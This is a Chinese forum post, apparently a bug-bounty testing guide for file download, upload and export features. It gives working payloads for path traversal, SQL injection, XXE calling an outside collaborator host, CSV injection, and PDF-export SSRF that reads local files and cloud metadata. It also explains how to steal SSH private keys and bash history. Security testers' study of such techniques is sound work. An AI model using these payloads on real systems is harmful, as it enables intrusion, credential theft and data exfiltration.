找回密码
立即注册
搜索
发回帖 发新帖

4935

积分

0

好友

635

主题
发表于 1 小时前 | 查看: 6| 回复: 0

下载读取

文件可疑 ID 遍历/注入

下载接口一旦出现敏感信息,尤其是带有用户汇集特征的参数,就很可能存在漏洞。

  • 出现数字 ID 时,可以尝试遍历、越权下载他人文件。GET、POST 请求方式都切换尝试,利用 IDOR 思路测试越权,但若存在鉴权字段,越权通常就失效了。
userId=19230239023923232
NickName=232193299321324343
orderid=1989885454549549

注入的思考方式是 +1 -1,观察数值是否被带入执行。可以是选择性数字的导入,也可以观察下载数字是否被带入数据库查询。

导出 Excel 功能点,输入 1 时表示导出第一列数据,此处包长为 6360。

下载接口导出请求响应对比

输入 2 时表示导出前 2 列数据,此时包长为 6364。

下载接口不同参数响应长度对比

当我输入 xxx?id=2-1 时,导出的是第一列数据,包长又回到 6360。这就说明用户可以操控参数拼接进 SQL 语句进行运算。所以遇到文件 ID 时,测试遍历和注入往往会有意外收获。

SELECT column_name FROM table_name WHERE id = '用户输入的id';

如果探测到注入且无过滤,就可以构造恒真条件,让查询返回所有记录,从而绕过原本的查询条件,获取所有列的数据。如果存在过滤条件,就需要慢慢探测,只能依靠个人思路绕过。

SELECT column_name FROM table_name WHERE id = '1' OR '1'='1';

file 参数下载接口任意读取

读取文件功能点会按照文件 ID 返回对应文件,常见字段如 file=xxxx。与上文不同的是,这里的相关字段不是 id、fileid、inode 这种明确依靠文件 ID 输出文件的参数,而是 file 这类表示文件相关字段的值。

这种场景除了测试注入、越权、遍历,还可以重点测试任意文件读取。类似参数还有 filesname、file、files。只要接口字段出现此类参数,就可以测试。这类漏洞多出现在文件读取、下载场景,下面还会介绍利用伪协议读取的思路。

file=189839434343 // 可以尝试读取
file=../../ect/passwd

下载接口抓包文件参数

例如 apis/xxxxxxx/download?filePath= 接口,就可以尝试任意文件读取,成功下载 etc/passwd。

文件下载成功回显

整理好通用字典,形成自己的测试规范,遇到好的绕过 Payload 做好记录。

文件读取常用路径字典

路径遍历测试用例列表

图片链接 http://file/1.png

图片链接形式如果是 http://file//xxxxx.png,可以测试为 file//etc/passwd。也可以只保留 http://file,如果对路径没有处理,可能会列出该目录下所有文件。

http://file//a0b24dbc24f3d24530999e10e11a88c7242338c0a849d91aa0ee47369cd2b6147f.png
http://file//etc/passwd
http://file//

type 类型任意文件读取

接口中出现 type 这类类型参数时,也要尝试读取文件。最不起眼的参数也可能隐藏重大安全风险。只要是涉及文件相关参数,都需要敏感起来,尤其类似 filename 这种字段。

GET /api/saber?type=xxxxx
GET /api/saber?type=../../../../../../etc/passwd

type参数任意文件读取案例

400 状态码任意读取

这是国外大牛在推特上分享的情况:原以为只有参数处才可以路径遍历,但有时候路径本身就是参数。响应包为 400 时,也可以试试路径遍历。

payload: ///////./././././etc/passwd

路径位置任意文件读取请求

长路径加目录遍历绕过

推文评论截图

文件包含与任意文件读取区别

文件包含会包含文件后输出,任意文件读取只能读取内容。

任意文件读取与文件包含区别说明

文件包含和任意文件读取都支持伪协议以及远程地址,但文件包含一般会有漏洞文件的前缀。

http://baidu.com/saber.php?name=../../../../Windows./system.ini
<?php
  $file=$_GET['name'];
  include($file);
?>

根据功能点分析,判断该位置是 SSRF 还是任意文件读取。请求网络功能必须测试 DNSlog。

http://baidu.com/saber?file=htttp:sxxxxx

如果没有响应,就测试任意文件读取的 file 协议。能读文件后,就可以读取其他记录 IP 的敏感文件。需要注意权限问题,权限决定了我们能读取或下载文件的范围。尝试读取 root/.bash_history,看看自己是否拥有 root 权限。该文件只能由 root 用户读取,它包含 root 用户操作命令记录。如果没有权限,只能按部就班利用 ../ 逐层跳转读取。

# etc/passwd记录了系统所有用户信息
http://baidu.com/saber?file=file://etc/passwd

# /etc/shadow 是用于存储用户账户密码等安全相关信息的文件,只有root用户才能读

还需要理解带协议文件包含与不带协议文件包含的差异。

服务器处理不同URL参数流程

任意文件读取攻防利用思路

参考文章:

https://mp.weixin.qq.com/s/7prdLc9ml6q2chrRxdsdEQ
https://mp.weixin.qq.com/s/PdFm_Y3FNDkCMrsHXcm_2w
https://mp.weixin.qq.com/s/Zkw68UPDWcHBn6cayVdITg

拿到任意读取漏洞后,思路优先是读取管理员 root 用户的 .bash_history 命令记录,看看自己是否有 root 权限。该文件只能由 root 用户读取,它包含 root 用户操作命令记录。读取此用户的登录私钥和历史记录,如果用户配置了可以通过密钥登录,那么把私钥下载到本地,就可以完成 SSH 登录。

/root/.bash_history # 读取root用户历史命令,可能会出现ssh私钥存储位置或其他敏感文件路径
/proc/self/status   # 当前用户运行进程状态

如果无法读取管理员 .bash_history,就尝试读取 /proc/self/status,通过进程的 UID 和 GID 判断当前用户权限。

查看当前进程权限信息

之后读取 /etc/passwd 内容,结合进程信息对比,确认自己是什么用户。该文件会显示系统所有用户,搜索 home /bin/zsh 就是实际存在且可以登录系统的用户,也包括 root 用户。

系统用户账户信息

攻防中首先尝试读取 /root/.bash_history,获取管理员历史命令记录。如果读取不了,说明当前并没有 root 权限,就寻找其他可登录用户,以该用户身份继续读取文件。

管理员历史命令记录

/home/saber/.zsh_history # 读取saber用户历史命令,可能会出现ssh私钥存储位置
/home/saber/.ssh/id_rsa # 尝试读取普通用户默认私钥
/root/.ssh/id_rsa       # root默认地址

查看用户历史命令变量与记录

通过 file 读取机器文件获取内网 IP。

Linux 系统:

/etc/hosts              # 包含主机名与IP地址映射关系,可能记录内网IP信息
/etc/network/interfaces # 存储网络接口配置信息,其中可能包含内网IP地址
/proc/net/fib_trie      # 包含路由表信息,可获取内网IP地址
~/.ssh/id_rsa           # 用户SSH私钥默认位置

Windows 系统:

C:\Windows\System32\drivers\etc\hosts # 类似于Linux的/etc/hosts,存储主机名与IP映射关系

常见中间件日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

dict 协议可以探测内网端口,读取到 IP 后就可以进行相关爆破操作。

国光SSRF靶场探测内网

如果读取到 IP 和端口,并且 Redis 未授权,就可以连接。dict 协议也可以操作 Redis 执行命令。

dict://127.0.0.1:6379/info/ # SSRF伪造协议读取redis信息
cat /etc/hosts              # 读取网络信息

dict协议读取Redis服务信息

如果网站存在文件包含,还可以读取 Redis 配置文件信息,或者读取 SSRF 场景下其他配置,例如 Spring Boot heapdump 等。

Redis配置文件与HTTP请求响应

上传文件图片

路径可控覆盖文件 / 上传后无路径

一个点可以任意读取,通过读取 /home/user/.bash_history 历史命令得到网站的目录地址,然后跨目录上传。

参考文章:

https://mp.weixin.qq.com/s/g8-xTjaQ6Q9hL09rCkgLdw

判断是否可控

文件路径和文件名可控是指我们选择图片上传时,在请求包或响应包中会显示路径。我们修改路径或文件名,再次发送如果成功,就代表路径可控。

上传路径可控请求响应

响应包回显上传路径

一旦路径可控,就可以尝试控制整个网站的目录进行覆盖。网站下存放的内容在前端是可以知道的,上传相同路径、相同文件名就可以实现覆盖。

1. 路径可控尝试覆盖,上传两次同一目录下不同图片,用浏览器打开最后图片是否一致,是则无用,否则是漏洞
2. 再次上传测试../跨目录上传实现目录穿越

此处是上传功能,上传参数为 type,正常上传后发现响应包回显路径。回显路径等于请求包控制了响应包的上传结果。

上传接口字段分析

POST /demo/upload?type=1.jsp // 请求包路径
/demo/upload/home/type/1.jsp // 响应包路径

猜测 type 参数就是文件夹名,如果更改为其他值,就会上传到其他位置。使用 ../ 实现跨目录上传。

思路就是寻找系统 web 路径,直接上传脚本 getshell。

POST /demo/upload?saber=1.jsp // 请求包路径
/demo/upload/home/saber/1.jsp // 响应包路径

上传不可知路径

1. 查看下载文件地方,下载时抓包对路径推敲
2. F12找网站 images 文件夹下是否存在路径
3. 选择图片右键新标签打开,查看此图片对应的图片路径

路径推测方法

如果响应包回显了路径,可以删掉第一层,然后拼接响应的目录。上传文件靶场通常都是这样的形式。

一般单独上传后的目录都会在这一层目录下:

https://baidu.com/demo/uploa/

如果上传回显是 saber/1.txt 或 1.txt,直接拼接在后面即可,通常会去掉原有的一层。

https://baidu.com/demp/saber/1.txt
https://baidu.com/demp/1.txt

OSS

阿里云验证

文件上传到 OSS 服务器过程中,有三种经典验证方式:

1. 在客户端通过JavaScript代码完成签名,然后通过表单直传数据到OSS // 硬编码在JS中
2. 在服务端完成签名,然后通过表单直传数据到OSS
3. 在服务端完成签名,并且服务端设置了上传后回调,然后通过表单直传数据到OSS
   OSS回调完成后,再将应用服务器响应结果返回给客户端

OSS直传特征说明

前提是上云且可以预览,否则不满足正常文件上传。涉及云存储桶攻防时,任何情况下都不要企图直接以图片后缀如 .jps/.png/.gif/.jepg 命名文件并上传,这类文件即使包含 HTML 或 JS 代码,其代码也不会被任何浏览器解析。

任意上传不限制类型

上传任意后缀文件都不解析时,可以尝试上传 .HTML 文件写入 XSS,或上传异常后缀文件。写入 HTML 代码很有可能得到存储 XSS。任意上传还可以尝试上传 htaccess 文件,导致 RCE。

任意文件上传/类型解析

https://mp.weixin.qq.com/s/MEodN2cUG55rOnBMz48LqA

阿里云任意文件上传时,先判断文件路径和文件名是否可控,接着去同厂商其他网站查找静态图片或文件,看是否可以相互转换,实现任意文件覆盖。

上传图片时,任意上传 html asp php 文件,如果路径可控,就可以进行路径穿越。

1.png ---> 1.php ---> 1.html....
static/img/img1: 存放静态资源图片等信息的服务器

不做解析情况

不做解析时,我们修改 Content-Type 为想要的类型。上传的文件如果是 HTML、PDF、SVG 格式,虽然不解析但可以预览,可能就是因为类型没有改变,被全部当作图片解析。此时可以尝试更改类型。

该操作的前提是上传文件支持预览,而不是访问后直接下载,否则没有危害。

Content-Type: image/jpeg            // 正常图片类型
--------------------------------------------------------
Content-Type: text/html             // HTML文档类型,上传.html修改
Content-Type: application/pdf       // PDF文件格式
Content-Type: application/x-httpd-php // PHP格式
Content-Type: application/jsp       // JSP格式
Content-Type: application/xml       // XML格式

修改Content-Type上传请求

上传后缀名仍然是 .jpg,但文件类型改为 html,上传成功后可能由图片后缀解析 HTML。

上传XSS载荷响应

文件名参数与Cookie信息

payload

Content-Disposition: form-data; name="file"; filename="12.png"
Content-Type: text/html

<script>alert(1)</script>

STStoken覆盖文件

导入或上传功能点,上传后响应包返回了密钥数据。如果不知道桶名,只能逐步审阅源码,判断是哪个云厂商,然后找平台文档、找脚本填入对应值,仍需要一个包一个包寻找泄露。

Bucket 桶名
tmp_secret_key
tmp_token
-------
secret_id=
secret_key=

云存储临时密钥泄露

根据文档脚本进行上传文件操作,上传的文件在根目录下。

腾讯云COS上传脚本与响应

通过脚本填入对应值,可以实现任意上传文件至网站根目录。如果知晓网站其他路径,上传即可实现覆盖操作。Body 为上传的内容。

云存储上传利用脚本

# 上传脚本执行需要Py为3.0版本下
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging

# 配置日志输出
logging.basicConfig(level=logging.INFO, stream=sys.stdout)

# 填入你的密钥、ID、区域等信息
secrets_key = 'your_secret_key'
secrets_id = 'your_secret_id'
region = 'your_region'
token = ''
scheme = 'https'

# 配置CosConfig
config = CosConfig(Region=region, SecretId=secrets_id, SecretKey=secrets_key, Token=token, Scheme=scheme)

# 创建CosS3Client
client = CosS3Client(config)

# 上传文件到指定存储桶
response = client.put_object(
    Bucket='your_bucket_name',  # 存储桶名称
    Key='a.txt',  # 上传文件名称
    Body='Hello, World!'  # 文件内容
)

上传 Excel 文件 XXE

利用Excle打XXE

https://xz.aliyun.com/news/16463

创建 XLSX 文件,利用压缩软件打开并解压到桌面,在 xl/workbook.xml 路径下打开文件加入 Payload。以下内容插入第 2 行和第 3 行,SYSTEM 后面添加自己的 DNS 记录地址,可以是 BP 也可以是 DNS.log。

查看xlsx压缩结构

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://bq5z980jwrrniaf9ox35q5fyppvgj5.burpcollaborator.net/" > ]>
<x>&xxe;</x>

workbook.xml插入XXE语句

加入 Payload 保存后,现在是文件夹形式。

保存恶意文件夹结构

压缩为 zip,然后手动改后缀为 xlsx,一共两步。做好恶意文件后,切换地址上传即可。

桌面恶意xlsx文件结构

有回显时切换伪协议读取文件。

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

XXE 在任何场景下通常只有一种 Payload,但产生位置包括 docx 文档或 xlsx 文件。也就是把 xxe 语句写在这些文件里面去上传访问,从而导致 SSRF 或本地文件读取。现在功能点直接支持插入 XXE 语句的非常少。

常见的 XML 传参数据包:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productid>
2
</productid>
<storeid>
1
</storeid>
<stockCheck>

在语句之间插入 Payload:

Payload:
<!DOCTYPE foo [<!ENTITY % xxe system "YOUR-DTO-URL" > %xxe;]>
-----------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
// 写入 dns.log 地址
<!DOCTYPE foo [<!ENTITY % xxe system "https:baidu.com" > %xxe;]>
<stockCheck>
<productid>
2
</productid>
<storeid>
1
</storeid>
<stockCheck>

上传压缩软链接任意读取文件

https://mp.weixin.qq.com/s/w5opQqZWyCR4-V7sl5sQpg

功能点是上传压缩包,系统读取压缩包内文件内容并返回。利用这个点,我们可以构造压缩包内文件内容为软链接,使其重定向到指定路径,从而实现任意文件读取。思路很好,实战场景较少,可作为拓展点。

1. 故意上传报错信息,暴露上传后的位置
2. 对此路径进行构造,压缩包内的文件内容为软链接重定义到指定路径位置
3. 上传后系统读取这个文件,读取到软链接后重定向到指定位置,造成任意文件读取

软链接构造压缩包演示

上传头像/图片 img 可控 CSRF 退出

头像上传处抓包,如果请求包的 img 参数可控,就代表我们可以自己构造 HTTP 请求。可控头像使用外部链接,我们抓取退出网站的请求作为 CSRF,发送成功后,我们的头像就是一个代码链接。别人看到后就会加载访问,导致退出网站。

1. 头像抓包确认出现img可控
2. 抓取网站退出请求GET作为CSRF
3. 再次上传头像/图片,替换img标签内的链接为退出请求
4. 放包查看效果

上传 302 跳转未授权绕过 401

未授权上传文件时,如果响应包没有返回 401 状态码,而是进行了 302 跳转,原理是中间件做了统一路由处理,重定向到登录地址或某一处。可以利用资源文件后缀绕过此类限制,例如加入 .png、.jpg。

上传302跳转绕过示例

文件 name 重命名 RCE

上传文件时,如果有参数可以更改文件名,并且出现两个文件名参数,可能调用 cmd 命令执行 rename。案例中执行了 ping 命令,不过这个场景确实很少见。

上传包中出现两处文件名

修改其中一个文件名,利用 RCE 的绕过方式,通过 | 执行 PING。

修改文件名执行命令

图片大小参数可控制

上传图片时,如果 width、height 参数可控,可以通过修改图片尺寸数值,让服务器分配更多资源,从而带来拒绝服务攻击隐患。可以使用 Image Size Issues 插件检测。观察响应包字节数判断结果。

图片尺寸参数响应包分析

越权/遍历上传

上传某些内容,例如头像文件,上传后如果发现存在数字 ID,可以尝试修改 ID 越权给他人上传,甚至遍历 fileid 查看他人上传信息。上传后文件名如果类似第二种,可能文件经过系统重命名,重命名方式一般采用当前上传时间戳或当前日期加随机字段,这种情况下枚举较为困难。

https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg

导出文件

CSV 注入

这个漏洞大多数 SRC 不会收取,因为危害大小完全人为控制。导出的 xlsx 如果没有被触发,就没有实际效果,只能起到钓鱼作用。不过学习一下不是坏事,在不限制漏洞类型的众测中还是可能捡到钱,大部分人会忽略这个问题。

CSV注入漏洞提交记录

https://xz.aliyun.com/news/11718
=1+cmd|'/C calc'!A0   # 弹出计算机

导出功能参数分析

PDF 导出 SSRF 内网

网页导出表格或 HTML 文档为 PDF 或图片,只要抓包存在导出功能,可以先测试 H1 标签。如果导出的 PDF 中出现了标签,代表 HTML 标签被解析。继续使用 iframe 标签新开窗口测试解析 DNS,只要对外发出请求且 DNS 收到响应,那么代码里再嵌入内网地址读取就是 SSRF。再尝试 file 协议读取文件。

https://mp.weixin.qq.com/s/ZfyJgZbuw58qK7TjjKEdmg

相关组件及业务场景尝试:

从PDF导出到SSRF:https://mp.weixin.qq.com/s/ZfyJgZbuw58qK7TjjKEdmg

导出PDF测试步骤

导出 PDF 文件或其他文件内容可控时,解析 HTML。

导出个人课程信息功能

如果出现可手动插入代码,就先插入 Payload,等待 DNS 响应。响应成功代表存在 SSRF 请求,再利用伪协议读取文件。

<img src="https://cdn.nlark.com/yuque/0/2025/svg/22621815/1746580510639-7332d640-7031-4964-8b00-f0932cd61bf9.svg" />
# file协议读文件
<iframe src="file:///etc/passwd" width=400 height=400/>

HTML中iframe触发SSRF

完整攻击文章展示了从导出探测到可控,再尝试读取内网、读取内网文件。亮点是正常通过 iframe 标签,但这里使用 JS 代码读取,之后读取的文件内容会导出到 PDF。

XSS到任意文件读取:https://mp.weixin.qq.com/s/1jQeyvR1DsIvjNf7NV3Tzg

导出 PDF 通过请求 file 协议读取文件,JavaScript 将在服务器端执行。通过注入以下代码,从文件系统读取文件。

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open('GET','file:///etc/passwd');
x.send();
</script>

恶意JS读取本地文件

PDF中回显etc/passwd内容

绕过 meta 刷新元数据读取

当 <svg>、<iframe> 等特殊标签被禁用后,可以使用 <meta> 0 秒刷新请求元数据的绕过方式。

如果看不懂这个方式,也可以直接插入下面的语句到导出功能,之后 PDF 就会带出内网信息。

<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />

meta刷新请求元数据

未授权导出 CSRF+邮箱接收

功能点导出信息会被发送到指定邮箱接收,如果邮箱发送地址可控,且导出没有校验,我们可以把导出请求做成 CSRF 给受害者,地址填攻击者邮箱。这样受害者在登录状态下点击执行导出请求,个人信息就会发送到攻击者邮箱。

拓展一下,并不是只有导出功能可以这样试。比如邀请、发送、敏感信息交互给第三方,无 Token 鉴权的功能都可以尝试 CSRF 打出组合效果。

受保护视图导出表格

导出置空参数

从公众号学习到的思路,也是采取模糊查询手法。涉及用户场景都可以尝试置空或 %,往往会有意想不到的效果。

删除参数后成功导出全站数据

比如普通用户登录后,有一个导出功能,但存在导出限制。把其他参数都删掉,只保留 startTime 和 endTime,就能导出全站数据整整 20M,同时还发现存在未授权访问。像这类围绕文件读取、上传、导出的逻辑问题,往往都藏在参数控制与权限校验的边界处,测试时值得多尝试几个组合。

云栈社区上也有不少师傅分享过从 IDOR 到文件上传、越权导出的实战案例,遇到类似功能点可以对照验证。




上一篇:谷歌发布Nano Banana 2.1生图模型:4K直出、中文渲染升级、API价格减半
下一篇:全球移动通信频谱总表:2G到6G频段划分与工程速查
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-10-10 07:59 , Processed in 0.112626 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表